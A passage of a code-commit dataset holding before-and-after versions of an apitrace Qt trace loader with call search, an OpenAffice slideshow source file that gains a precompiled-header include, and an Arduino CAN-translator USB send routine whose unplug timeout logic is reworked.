id, ApiTraceEnumSignature *signature)\n{\n m_enumSignatures[id] = signature;\n}\n\nvoid TraceLoader::searchNext(const ApiTrace::SearchRequest &request)\n{\n Q_ASSERT(m_parser.supportsOffsets());\n if (m_parser.supportsOffsets()) {\n int startFrame = m_createdFrames.indexOf(request.frame);\n const FrameBookmark &frameBookmark = m_frameBookmarks[startFrame];\n m_parser.setBookmark(frameBookmark.start);\n trace::Call *call = 0;\n while ((call = m_parser.parse_call())) {\n\n if (callContains(call, request.text, request.cs)) {\n unsigned frameIdx = callInFrame(call->no);\n ApiTraceFrame *frame = m_createdFrames[frameIdx];\n const QVector<ApiTraceCall*> calls =\n fetchFrameContents(frame);\n for (int i = 0; i < calls.count(); ++i) {\n if (calls[i]->index() == call->no) {\n emit searchResult(request, ApiTrace::SearchResult_Found,\n calls[i]);\n break;\n }\n }\n delete call;\n return;\n }\n\n delete call;\n }\n }\n emit searchResult(request, ApiTrace::SearchResult_NotFound, 0);\n}\n\nvoid TraceLoader::searchPrev(const ApiTrace::SearchRequest &request)\n{\n Q_ASSERT(m_parser.supportsOffsets());\n if (m_parser.supportsOffsets()) {\n int startFrame = m_createdFrames.indexOf(request.frame);\n trace::Call *call = 0;\n QList<trace::Call*> frameCalls;\n int frameIdx = startFrame;\n\n const FrameBookmark &frameBookmark = m_frameBookmarks[frameIdx];\n int numCallsToParse = frameBookmark.numberOfCalls;\n m_parser.setBookmark(frameBookmark.start);\n\n while ((call = m_parser.parse_call())) {\n\n frameCalls.append(call);\n --numCallsToParse;\n\n if (numCallsToParse == 0) {\n bool foundCall = searchCallsBackwards(frameCalls,\n frameIdx,\n request);\n\n qDeleteAll(frameCalls);\n frameCalls.clear();\n if (foundCall) {\n return;\n }\n\n --frameIdx;\n\n if (frameIdx >= 0) {\n const FrameBookmark &frameBookmark =\n m_frameBookmarks[frameIdx];\n m_parser.setBookmark(frameBookmark.start);\n numCallsToParse = frameBookmark.numberOfCalls;\n }\n }\n }\n }\n emit searchResult(request, ApiTrace::SearchResult_NotFound, 0);\n}\n\nbool TraceLoader::searchCallsBackwards(const QList<trace::Call*> &calls,\n int frameIdx,\n const ApiTrace::SearchRequest &request)\n{\n for (int i = calls.count() - 1; i >= 0; --i) {\n trace::Call *call = calls[i];\n if (callContains(call, request.text, request.cs)) {\n ApiTraceFrame *frame = m_createdFrames[frameIdx];\n const QVector<ApiTraceCall*> apiCalls =\n fetchFrameContents(frame);\n for (int i = 0; i < apiCalls.count(); ++i) {\n if (apiCalls[i]->index() == call->no) {\n emit searchResult(request,\n ApiTrace::SearchResult_Found,\n apiCalls[i]);\n break;\n }\n }\n return true;\n }\n }\n return false;\n}\n\nint TraceLoader::callInFrame(int callIdx) const\n{\n unsigned numCalls = 0;\n\n for (int frameIdx = 0; frameIdx < m_frameBookmarks.size(); ++frameIdx) {\n const FrameBookmark &frameBookmark = m_frameBookmarks[frameIdx];\n unsigned firstCall = numCalls;\n unsigned endCall = numCalls + frameBookmark.numberOfCalls;\n if (firstCall <= callIdx && endCall > callIdx) {\n return frameIdx;\n }\n numCalls = endCall;\n }\n Q_ASSERT(!\"call not in the trace\");\n return 0;\n}\n\nbool TraceLoader::callContains(trace::Call *call,\n const QString &str,\n Qt::CaseSensitivity sensitivity)\n{\n \/*\n * FIXME: do string comparison directly on trace::Call\n *\/\n ApiTraceCall *apiCall = apiCallFromTraceCall(call, m_helpHash,\n 0, 0, this);\n bool result = apiCall->contains(str, sensitivity);\n delete apiCall;\n return result;\n}\n\nQVector<ApiTraceCall*>\nTraceLoader::fetchFrameContents(ApiTraceFrame *currentFrame)\n{\n Q_ASSERT(currentFrame);\n\n if (currentFrame->isLoaded()) {\n return currentFrame->calls();\n }\n\n if (m_parser.supportsOffsets()) {\n unsigned frameIdx = currentFrame->number;\n int numOfCalls = numberOfCallsInFrame(frameIdx);\n\n if (numOfCalls) {\n quint64 binaryDataSize = 0;\n QStack<ApiTraceCall*> groups;\n QVector<ApiTraceCall*> topLevelItems;\n QVector<ApiTraceCall*> allCalls(numOfCalls);\n const FrameBookmark &frameBookmark = m_frameBookmarks[frameIdx];\n\n m_parser.setBookmark(frameBookmark.start);\n\n trace::Call *call;\n int parsedCalls = 0;\n while ((call = m_parser.parse_call())) {\n ApiTraceCall *apiCall =\n apiCallFromTraceCall(call, m_helpHash,\n currentFrame, groups.isEmpty() ? 0 : groups.top(), this);\n Q_ASSERT(apiCall);\n Q_ASSERT(parsedCalls < allCalls.size());\n allCalls[parsedCalls++] = apiCall;\n if (groups.count() == 0) {\n topLevelItems.append(apiCall);\n }\n if (!groups.isEmpty()) {\n groups.top()->addChild(apiCall);\n }\n if (call->flags & trace::CALL_FLAG_MARKER_PUSH) {\n groups.push(apiCall);\n } else if (call->flags & trace::CALL_FLAG_MARKER_POP) {\n groups.top()->finishedAddingChildren();\n groups.pop();\n }\n if (apiCall->hasBinaryData()) {\n QByteArray data =\n apiCall->arguments()[\n apiCall->binaryDataIndex()].toByteArray();\n binaryDataSize += data.size();\n }\n\n delete call;\n\n if (apiCall->flags() & trace::CALL_FLAG_END_FRAME) {\n break;\n }\n\n }\n \/\/ There can be fewer parsed calls when call in different\n \/\/ threads cross the frame boundary\n Q_ASSERT(parsedCalls <= numOfCalls);\n Q_ASSERT(parsedCalls <= allCalls.size());\n allCalls.resize(parsedCalls);\n allCalls.squeeze();\n\n Q_ASSERT(parsedCalls <= currentFrame->numChildrenToLoad());\n if (topLevelItems.count() == allCalls.count()) {\n emit frameContentsLoaded(currentFrame, allCalls,\n allCalls, binaryDataSize);\n } else {\n emit frameContentsLoaded(currentFrame, topLevelItems,\n allCalls, binaryDataSize);\n }\n return allCalls;\n }\n }\n return QVector<ApiTraceCall*>();\n}\n\nvoid TraceLoader::findFrameStart(ApiTraceFrame *frame)\n{\n if (!frame->isLoaded()) {\n loadFrame(frame);\n }\n emit foundFrameStart(frame);\n}\n\nvoid TraceLoader::findFrameEnd(ApiTraceFrame *frame)\n{\n if (!frame->isLoaded()) {\n loadFrame(frame);\n }\n emit foundFrameEnd(frame);\n}\n\nvoid TraceLoader::findCallIndex(int index)\n{\n int frameIdx = callInFrame(index);\n ApiTraceFrame *frame = m_createdFrames[frameIdx];\n QVector<ApiTraceCall*> calls = fetchFrameContents(frame);\n QVector<ApiTraceCall*>::const_iterator itr;\n ApiTraceCall *call = 0;\n for (itr = calls.constBegin(); itr != calls.constEnd(); ++itr) {\n if ((*itr)->index() == index) {\n call = *itr;\n break;\n }\n }\n if (call) {\n emit foundCallIndex(call);\n }\n}\n\nvoid TraceLoader::search(const ApiTrace::SearchRequest &request)\n{\n if (request.direction == ApiTrace::SearchRequest::Next) {\n searchNext(request);\n } else {\n searchPrev(request);\n }\n}\n\n#include \"traceloader.moc\"\n<commit_msg>qapitrace: fix an inline string FIXME request<commit_after>#include \"traceloader.h\"\n\n#include \"apitrace.h\"\n#include <QDebug>\n#include <QFile>\n#include <QStack>\n\n#define FRAMES_TO_CACHE 100\n\nstatic ApiTraceCall *\napiCallFromTraceCall(const trace::Call *call,\n const QHash<QString, QUrl> &helpHash,\n ApiTraceFrame *frame,\n ApiTraceCall *parentCall,\n TraceLoader *loader)\n{\n ApiTraceCall *apiCall;\n\n if (parentCall)\n apiCall = new ApiTraceCall(parentCall, loader, call);\n else\n apiCall = new ApiTraceCall(frame, loader, call);\n\n apiCall->setHelpUrl(helpHash.value(apiCall->name()));\n\n return apiCall;\n}\n\nTraceLoader::TraceLoader(QObject *parent)\n : QObject(parent)\n{\n}\n\nTraceLoader::~TraceLoader()\n{\n m_parser.close();\n qDeleteAll(m_signatures);\n qDeleteAll(m_enumSignatures);\n}\n\nvoid TraceLoader::loadTrace(const QString &filename)\n{\n if (m_helpHash.isEmpty()) {\n loadHelpFile();\n }\n\n if (!m_frameBookmarks.isEmpty()) {\n qDeleteAll(m_signatures);\n qDeleteAll(m_enumSignatures);\n m_signatures.clear();\n m_enumSignatures.clear();\n m_frameBookmarks.clear();\n m_createdFrames.clear();\n m_parser.close();\n }\n\n if (!m_parser.open(filename.toLatin1())) {\n qDebug() << \"error: failed to open \" << filename;\n return;\n }\n\n emit startedParsing();\n\n if (m_parser.supportsOffsets()) {\n scanTrace();\n } else {\n \/\/Load the entire file into memory\n parseTrace();\n }\n emit guessedApi(static_cast<int>(m_parser.api));\n emit finishedParsing();\n}\n\nvoid TraceLoader::loadFrame(ApiTraceFrame *currentFrame)\n{\n fetchFrameContents(currentFrame);\n}\n\nint TraceLoader::numberOfFrames() const\n{\n return m_frameBookmarks.size();\n}\n\nint TraceLoader::numberOfCallsInFrame(int frameIdx) const\n{\n if (frameIdx >= m_frameBookmarks.size()) {\n return 0;\n }\n FrameBookmarks::const_iterator itr =\n m_frameBookmarks.find(frameIdx);\n return itr->numberOfCalls;\n}\n\nvoid TraceLoader::loadHelpFile()\n{\n QFile file(\":\/resources\/glreference.tsv\");\n if (file.open(QIODevice::ReadOnly | QIODevice::Text)) {\n QString line;\n while (!file.atEnd()) {\n line = file.readLine();\n QString function = line.section('\\t', 0, 0).trimmed();\n QUrl url = QUrl(line.section('\\t', 1, 1).trimmed());\n \/\/qDebug()<<\"function = \"<<function<<\", url = \"<<url.toString();\n m_helpHash.insert(function, url);\n }\n } else {\n qWarning() << \"Couldn't open reference file \"\n << file.fileName();\n }\n file.close();\n}\n\nvoid TraceLoader::scanTrace()\n{\n QList<ApiTraceFrame*> frames;\n ApiTraceFrame *currentFrame = 0;\n\n trace::Call *call;\n trace::ParseBookmark startBookmark;\n int numOfFrames = 0;\n int numOfCalls = 0;\n int lastPercentReport = 0;\n\n m_parser.getBookmark(startBookmark);\n\n while ((call = m_parser.scan_call())) {\n ++numOfCalls;\n\n if (call->flags & trace::CALL_FLAG_END_FRAME) {\n FrameBookmark frameBookmark(startBookmark);\n frameBookmark.numberOfCalls = numOfCalls;\n\n currentFrame = new ApiTraceFrame();\n currentFrame->number = numOfFrames;\n currentFrame->setNumChildren(numOfCalls);\n currentFrame->setLastCallIndex(call->no);\n frames.append(currentFrame);\n\n m_createdFrames.append(currentFrame);\n m_frameBookmarks[numOfFrames] = frameBookmark;\n ++numOfFrames;\n\n if (m_parser.percentRead() - lastPercentReport >= 5) {\n emit parsed(m_parser.percentRead());\n lastPercentReport = m_parser.percentRead();\n }\n m_parser.getBookmark(startBookmark);\n numOfCalls = 0;\n }\n delete call;\n }\n\n if (numOfCalls) {\n \/\/trace::File::Bookmark endBookmark = m_parser.currentBookmark();\n FrameBookmark frameBookmark(startBookmark);\n frameBookmark.numberOfCalls = numOfCalls;\n\n currentFrame = new ApiTraceFrame();\n currentFrame->number = numOfFrames;\n currentFrame->setNumChildren(numOfCalls);\n frames.append(currentFrame);\n\n m_createdFrames.append(currentFrame);\n m_frameBookmarks[numOfFrames] = frameBookmark;\n ++numOfFrames;\n }\n\n emit parsed(100);\n\n emit framesLoaded(frames);\n}\n\nvoid TraceLoader::parseTrace()\n{\n QList<ApiTraceFrame*> frames;\n ApiTraceFrame *currentFrame = 0;\n int frameCount = 0;\n QStack<ApiTraceCall*> groups;\n QVector<ApiTraceCall*> topLevelItems;\n QVector<ApiTraceCall*> allCalls;\n quint64 binaryDataSize = 0;\n\n int lastPercentReport = 0;\n\n trace::Call *call = m_parser.parse_call();\n while (call) {\n \/\/std::cout << *call;\n if (!currentFrame) {\n currentFrame = new ApiTraceFrame();\n currentFrame->number = frameCount;\n ++frameCount;\n }\n ApiTraceCall *apiCall =\n apiCallFromTraceCall(call, m_helpHash, currentFrame, groups.isEmpty() ? 0 : groups.top(), this);\n allCalls.append(apiCall);\n if (groups.count() == 0) {\n topLevelItems.append(apiCall);\n }\n if (call->flags & trace::CALL_FLAG_MARKER_PUSH) {\n groups.push(apiCall);\n } else if (call->flags & trace::CALL_FLAG_MARKER_POP) {\n groups.top()->finishedAddingChildren();\n groups.pop();\n }\n if (!groups.isEmpty()) {\n groups.top()->addChild(apiCall);\n }\n if (apiCall->hasBinaryData()) {\n QByteArray data =\n apiCall->arguments()[apiCall->binaryDataIndex()].toByteArray();\n binaryDataSize += data.size();\n }\n if (call->flags & trace::CALL_FLAG_END_FRAME) {\n allCalls.squeeze();\n topLevelItems.squeeze();\n if (topLevelItems.count() == allCalls.count()) {\n currentFrame->setCalls(allCalls, allCalls, binaryDataSize);\n } else {\n currentFrame->setCalls(topLevelItems, allCalls, binaryDataSize);\n }\n allCalls.clear();\n groups.clear();\n topLevelItems.clear();\n frames.append(currentFrame);\n currentFrame = 0;\n binaryDataSize = 0;\n if (frames.count() >= FRAMES_TO_CACHE) {\n emit framesLoaded(frames);\n frames.clear();\n }\n if (m_parser.percentRead() - lastPercentReport >= 5) {\n emit parsed(m_parser.percentRead());\n lastPercentReport = m_parser.percentRead();\n }\n }\n delete call;\n call = m_parser.parse_call();\n }\n\n \/\/last frames won't have markers\n \/\/ it's just a bunch of Delete calls for every object\n \/\/ after the last SwapBuffers\n if (currentFrame) {\n allCalls.squeeze();\n if (topLevelItems.count() == allCalls.count()) {\n currentFrame->setCalls(allCalls, allCalls, binaryDataSize);\n } else {\n currentFrame->setCalls(topLevelItems, allCalls, binaryDataSize);\n }\n frames.append(currentFrame);\n currentFrame = 0;\n }\n if (frames.count()) {\n emit framesLoaded(frames);\n }\n}\n\n\nApiTraceCallSignature * TraceLoader::signature(unsigned id)\n{\n if (id >= m_signatures.count()) {\n m_signatures.resize(id + 1);\n return NULL;\n } else {\n return m_signatures[id];\n }\n}\n\nvoid TraceLoader::addSignature(unsigned id, ApiTraceCallSignature *signature)\n{\n m_signatures[id] = signature;\n}\n\nApiTraceEnumSignature * TraceLoader::enumSignature(unsigned id)\n{\n if (id >= m_enumSignatures.count()) {\n m_enumSignatures.resize(id + 1);\n return NULL;\n } else {\n return m_enumSignatures[id];\n }\n}\n\nvoid TraceLoader::addEnumSignature(unsigned id, ApiTraceEnumSignature *signature)\n{\n m_enumSignatures[id] = signature;\n}\n\nvoid TraceLoader::searchNext(const ApiTrace::SearchRequest &request)\n{\n Q_ASSERT(m_parser.supportsOffsets());\n if (m_parser.supportsOffsets()) {\n int startFrame = m_createdFrames.indexOf(request.frame);\n const FrameBookmark &frameBookmark = m_frameBookmarks[startFrame];\n m_parser.setBookmark(frameBookmark.start);\n trace::Call *call = 0;\n while ((call = m_parser.parse_call())) {\n\n if (callContains(call, request.text, request.cs)) {\n unsigned frameIdx = callInFrame(call->no);\n ApiTraceFrame *frame = m_createdFrames[frameIdx];\n const QVector<ApiTraceCall*> calls =\n fetchFrameContents(frame);\n for (int i = 0; i < calls.count(); ++i) {\n if (calls[i]->index() == call->no) {\n emit searchResult(request, ApiTrace::SearchResult_Found,\n calls[i]);\n break;\n }\n }\n delete call;\n return;\n }\n\n delete call;\n }\n }\n emit searchResult(request, ApiTrace::SearchResult_NotFound, 0);\n}\n\nvoid TraceLoader::searchPrev(const ApiTrace::SearchRequest &request)\n{\n Q_ASSERT(m_parser.supportsOffsets());\n if (m_parser.supportsOffsets()) {\n int startFrame = m_createdFrames.indexOf(request.frame);\n trace::Call *call = 0;\n QList<trace::Call*> frameCalls;\n int frameIdx = startFrame;\n\n const FrameBookmark &frameBookmark = m_frameBookmarks[frameIdx];\n int numCallsToParse = frameBookmark.numberOfCalls;\n m_parser.setBookmark(frameBookmark.start);\n\n while ((call = m_parser.parse_call())) {\n\n frameCalls.append(call);\n --numCallsToParse;\n\n if (numCallsToParse == 0) {\n bool foundCall = searchCallsBackwards(frameCalls,\n frameIdx,\n request);\n\n qDeleteAll(frameCalls);\n frameCalls.clear();\n if (foundCall) {\n return;\n }\n\n --frameIdx;\n\n if (frameIdx >= 0) {\n const FrameBookmark &frameBookmark =\n m_frameBookmarks[frameIdx];\n m_parser.setBookmark(frameBookmark.start);\n numCallsToParse = frameBookmark.numberOfCalls;\n }\n }\n }\n }\n emit searchResult(request, ApiTrace::SearchResult_NotFound, 0);\n}\n\nbool TraceLoader::searchCallsBackwards(const QList<trace::Call*> &calls,\n int frameIdx,\n const ApiTrace::SearchRequest &request)\n{\n for (int i = calls.count() - 1; i >= 0; --i) {\n trace::Call *call = calls[i];\n if (callContains(call, request.text, request.cs)) {\n ApiTraceFrame *frame = m_createdFrames[frameIdx];\n const QVector<ApiTraceCall*> apiCalls =\n fetchFrameContents(frame);\n for (int i = 0; i < apiCalls.count(); ++i) {\n if (apiCalls[i]->index() == call->no) {\n emit searchResult(request,\n ApiTrace::SearchResult_Found,\n apiCalls[i]);\n break;\n }\n }\n return true;\n }\n }\n return false;\n}\n\nint TraceLoader::callInFrame(int callIdx) const\n{\n unsigned numCalls = 0;\n\n for (int frameIdx = 0; frameIdx < m_frameBookmarks.size(); ++frameIdx) {\n const FrameBookmark &frameBookmark = m_frameBookmarks[frameIdx];\n unsigned firstCall = numCalls;\n unsigned endCall = numCalls + frameBookmark.numberOfCalls;\n if (firstCall <= callIdx && endCall > callIdx) {\n return frameIdx;\n }\n numCalls = endCall;\n }\n Q_ASSERT(!\"call not in the trace\");\n return 0;\n}\n\nbool TraceLoader::callContains(trace::Call *call,\n const QString &str,\n Qt::CaseSensitivity sensitivity)\n{\n if (sensitivity == Qt::CaseSensitive) {\n return (bool) strstr (call->name(), str.toAscii().data());\n } else {\n return (bool) strcasestr (call->name(), str.toAscii().data());\n }\n}\n\nQVector<ApiTraceCall*>\nTraceLoader::fetchFrameContents(ApiTraceFrame *currentFrame)\n{\n Q_ASSERT(currentFrame);\n\n if (currentFrame->isLoaded()) {\n return currentFrame->calls();\n }\n\n if (m_parser.supportsOffsets()) {\n unsigned frameIdx = currentFrame->number;\n int numOfCalls = numberOfCallsInFrame(frameIdx);\n\n if (numOfCalls) {\n quint64 binaryDataSize = 0;\n QStack<ApiTraceCall*> groups;\n QVector<ApiTraceCall*> topLevelItems;\n QVector<ApiTraceCall*> allCalls(numOfCalls);\n const FrameBookmark &frameBookmark = m_frameBookmarks[frameIdx];\n\n m_parser.setBookmark(frameBookmark.start);\n\n trace::Call *call;\n int parsedCalls = 0;\n while ((call = m_parser.parse_call())) {\n ApiTraceCall *apiCall =\n apiCallFromTraceCall(call, m_helpHash,\n currentFrame, groups.isEmpty() ? 0 : groups.top(), this);\n Q_ASSERT(apiCall);\n Q_ASSERT(parsedCalls < allCalls.size());\n allCalls[parsedCalls++] = apiCall;\n if (groups.count() == 0) {\n topLevelItems.append(apiCall);\n }\n if (!groups.isEmpty()) {\n groups.top()->addChild(apiCall);\n }\n if (call->flags & trace::CALL_FLAG_MARKER_PUSH) {\n groups.push(apiCall);\n } else if (call->flags & trace::CALL_FLAG_MARKER_POP) {\n groups.top()->finishedAddingChildren();\n groups.pop();\n }\n if (apiCall->hasBinaryData()) {\n QByteArray data =\n apiCall->arguments()[\n apiCall->binaryDataIndex()].toByteArray();\n binaryDataSize += data.size();\n }\n\n delete call;\n\n if (apiCall->flags() & trace::CALL_FLAG_END_FRAME) {\n break;\n }\n\n }\n \/\/ There can be fewer parsed calls when call in different\n \/\/ threads cross the frame boundary\n Q_ASSERT(parsedCalls <= numOfCalls);\n Q_ASSERT(parsedCalls <= allCalls.size());\n allCalls.resize(parsedCalls);\n allCalls.squeeze();\n\n Q_ASSERT(parsedCalls <= currentFrame->numChildrenToLoad());\n if (topLevelItems.count() == allCalls.count()) {\n emit frameContentsLoaded(currentFrame, allCalls,\n allCalls, binaryDataSize);\n } else {\n emit frameContentsLoaded(currentFrame, topLevelItems,\n allCalls, binaryDataSize);\n }\n return allCalls;\n }\n }\n return QVector<ApiTraceCall*>();\n}\n\nvoid TraceLoader::findFrameStart(ApiTraceFrame *frame)\n{\n if (!frame->isLoaded()) {\n loadFrame(frame);\n }\n emit foundFrameStart(frame);\n}\n\nvoid TraceLoader::findFrameEnd(ApiTraceFrame *frame)\n{\n if (!frame->isLoaded()) {\n loadFrame(frame);\n }\n emit foundFrameEnd(frame);\n}\n\nvoid TraceLoader::findCallIndex(int index)\n{\n int frameIdx = callInFrame(index);\n ApiTraceFrame *frame = m_createdFrames[frameIdx];\n QVector<ApiTraceCall*> calls = fetchFrameContents(frame);\n QVector<ApiTraceCall*>::const_iterator itr;\n ApiTraceCall *call = 0;\n for (itr = calls.constBegin(); itr != calls.constEnd(); ++itr) {\n if ((*itr)->index() == index) {\n call = *itr;\n break;\n }\n }\n if (call) {\n emit foundCallIndex(call);\n }\n}\n\nvoid TraceLoader::search(const ApiTrace::SearchRequest &request)\n{\n if (request.direction == ApiTrace::SearchRequest::Next) {\n searchNext(request);\n } else {\n searchPrev(request);\n }\n}\n\n#include \"traceloader.moc\"\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: continuousactivitybase.cxx,v $\n *\n * $Revision: 1.3 $\n *\n * last change: $Author: rt $ $Date: 2005-09-07 20:35:20 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ must be first\n#include <canvas\/debug.hxx>\n#include <canvas\/verbosetrace.hxx>\n\n#include <continuousactivitybase.hxx>\n\n\nnamespace presentation\n{\n namespace internal\n {\n ContinuousActivityBase::ContinuousActivityBase( const ActivityParameters& rParms ) :\n SimpleContinuousActivityBase( rParms )\n {\n }\n\n void ContinuousActivityBase::simplePerform( double nSimpleTime,\n sal_uInt32 nRepeatCount ) const\n {\n perform( calcAcceleratedTime( nSimpleTime ),\n nRepeatCount );\n }\n }\n}\n<commit_msg>INTEGRATION: CWS pchfix02 (1.3.50); FILE MERGED 2006\/09\/01 17:39:36 kaib 1.3.50.1: #i68856# Added header markers and pch files<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: continuousactivitybase.cxx,v $\n *\n * $Revision: 1.4 $\n *\n * last change: $Author: obo $ $Date: 2006-09-17 08:32:05 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_slideshow.hxx\"\n\n\/\/ must be first\n#include <canvas\/debug.hxx>\n#include <canvas\/verbosetrace.hxx>\n\n#include <continuousactivitybase.hxx>\n\n\nnamespace presentation\n{\n namespace internal\n {\n ContinuousActivityBase::ContinuousActivityBase( const ActivityParameters& rParms ) :\n SimpleContinuousActivityBase( rParms )\n {\n }\n\n void ContinuousActivityBase::simplePerform( double nSimpleTime,\n sal_uInt32 nRepeatCount ) const\n {\n perform( calcAcceleratedTime( nSimpleTime ),\n nRepeatCount );\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"usbutil.h\"\n#include \"buffers.h\"\n\n\/\/ TODO move this up to cantranslator.pde\nUSB_HANDLE USB_INPUT_HANDLE = 0;\n\n\nvoid sendMessage(CanUsbDevice* usbDevice, uint8_t* message, int messageSize) {\n#ifdef DEBUG\n Serial.print(\"sending message: \");\n Serial.println((char*)message);\n#endif\n \/\/ Make sure the USB write is 100% complete before messing with this buffer\n \/\/ after we copy the message into it - the Microchip library doesn't copy\n \/\/ the data to its own internal buffer. See #171 for background on this\n \/\/ issue.\n int i = 0;\n bool usbConnected = usbDevice->configured;\n while(usbDevice->device.HandleBusy(USB_INPUT_HANDLE)) {\n i++;\n if(i > 200000) {\n \/\/ stop waiting, USB probably isn't connected\n usbConnected = false;\n \/\/ break;\n }\n }\n\n strncpy(usbDevice->sendBuffer, (char*)message, messageSize);\n usbDevice->sendBuffer[messageSize] = '\\n';\n messageSize += 1;\n\n if(!usbConnected) {\n \/\/ Serial transfers are really, really slow, so we don't want to send unless\n \/\/ explicitly set to do so at compile-time. Alternatively, we could send\n \/\/ on serial whenever we detect below that we're probably not connected to a\n \/\/ USB device, but explicit is better than implicit.\n usbDevice->serial->device->write((const uint8_t*)usbDevice->sendBuffer, messageSize);\n } else {\n int nextByteIndex = 0;\n while(nextByteIndex < messageSize) {\n while(usbDevice->device.HandleBusy(USB_INPUT_HANDLE));\n int bytesToTransfer = min(USB_PACKET_SIZE,\n messageSize - nextByteIndex);\n uint8_t* currentByte = (uint8_t*)(usbDevice->sendBuffer\n + nextByteIndex);\n USB_INPUT_HANDLE = usbDevice->device.GenWrite(usbDevice->endpoint,\n currentByte, bytesToTransfer);\n nextByteIndex += bytesToTransfer;\n }\n }\n}\n\nvoid initializeUsb(CanUsbDevice* usbDevice) {\n Serial.print(\"Initializing USB.....\");\n usbDevice->device.InitializeSystem(false);\n Serial.println(\"Done.\");\n}\n\nUSB_HANDLE armForRead(CanUsbDevice* usbDevice, char* buffer) {\n buffer[0] = 0;\n return usbDevice->device.GenRead(usbDevice->endpoint, (uint8_t*)buffer,\n usbDevice->endpointSize);\n}\n\nUSB_HANDLE readFromHost(CanUsbDevice* usbDevice, USB_HANDLE handle,\n bool (*callback)(char*)) {\n if(!usbDevice->device.HandleBusy(handle)) {\n \/\/ TODO see #569\n delay(200);\n if(usbDevice->receiveBuffer[0] != NULL) {\n strncpy((char*)(usbDevice->packetBuffer +\n usbDevice->packetBufferIndex), usbDevice->receiveBuffer,\n ENDPOINT_SIZE);\n usbDevice->packetBufferIndex += ENDPOINT_SIZE;\n processBuffer(usbDevice->packetBuffer,\n &usbDevice->packetBufferIndex, PACKET_BUFFER_SIZE, callback);\n }\n return armForRead(usbDevice, usbDevice->receiveBuffer);\n }\n return handle;\n}\n<commit_msg>Don't play the waiting game with USB - just assume it's unplugged after a while.<commit_after>#include \"usbutil.h\"\n#include \"buffers.h\"\n\n\/\/ TODO move this up to cantranslator.pde\nUSB_HANDLE USB_INPUT_HANDLE = 0;\n\n\nvoid sendMessage(CanUsbDevice* usbDevice, uint8_t* message, int messageSize) {\n#ifdef DEBUG\n Serial.print(\"sending message: \");\n Serial.println((char*)message);\n#endif\n \/\/ Make sure the USB write is 100% complete before messing with this buffer\n \/\/ after we copy the message into it - the Microchip library doesn't copy\n \/\/ the data to its own internal buffer. See #171 for background on this\n \/\/ issue.\n int i = 0;\n while(usbDevice->configured && usbDevice->device.HandleBusy(USB_INPUT_HANDLE)) {\n i++;\n if(i > 1000000) {\n \/\/ USB was probably unplugged, mark it as unplugged and continue on\n \/\/ sending over serial.\n usbDevice->configured = false;\n }\n }\n Serial.println(i);\n\n strncpy(usbDevice->sendBuffer, (char*)message, messageSize);\n usbDevice->sendBuffer[messageSize] = '\\n';\n messageSize += 1;\n\n if(!usbDevice->configured) {\n \/\/ Serial transfers are really, really slow, so we don't want to send unless\n \/\/ explicitly set to do so at compile-time. Alternatively, we could send\n \/\/ on serial whenever we detect below that we're probably not connected to a\n \/\/ USB device, but explicit is better than implicit.\n usbDevice->serial->device->write((const uint8_t*)usbDevice->sendBuffer, messageSize);\n } else {\n int nextByteIndex = 0;\n while(nextByteIndex < messageSize) {\n while(usbDevice->device.HandleBusy(USB_INPUT_HANDLE));\n int bytesToTransfer = min(USB_PACKET_SIZE,\n messageSize - nextByteIndex);\n uint8_t* currentByte = (uint8_t*)(usbDevice->sendBuffer\n + nextByteIndex);\n USB_INPUT_HANDLE = usbDevice->device.GenWrite(usbDevice->endpoint,\n currentByte, bytesToTransfer);\n nextByteIndex += bytesToTransfer;\n }\n }\n}\n\nvoid initializeUsb(CanUsbDevice* usbDevice) {\n Serial.print(\"Initializing USB.....\");\n usbDevice->device.InitializeSystem(false);\n Serial.println(\"Done.\");\n}\n\nUSB_HANDLE armForRead(CanUsbDevice* usbDevice, char* buffer) {\n buffer[0] = 0;\n return usbDevice->device.GenRead(usbDevice->endpoint, (uint8_t*)buffer,\n usbDevice->endpointSize);\n}\n\nUSB_HANDLE readFromHost(CanUsbDevice* usbDevice, USB_HANDLE handle,\n bool (*callback)(char*)) {\n if(!usbDevice->device.HandleBusy(handle)) {\n \/\/ TODO see #569\n delay(200);\n if(usbDevice->receiveBuffer[0] != NULL) {\n strncpy((char*)(usbDevice->packetBuffer +\n usbDevice->packetBufferIndex), usbDevice->receiveBuffer,\n ENDPOINT_SIZE);\n usbDevice->packetBufferIndex += ENDPOINT_SIZE;\n processBuffer(usbDevice->packetBuffer,\n &usbDevice->packetBufferIndex, PACKET_BUFFER_SIZE, callback);\n }\n return armForRead(usbDevice, usbDevice->receiveBuffer);\n }\n return handle;\n}\n<|endoftext|>"} 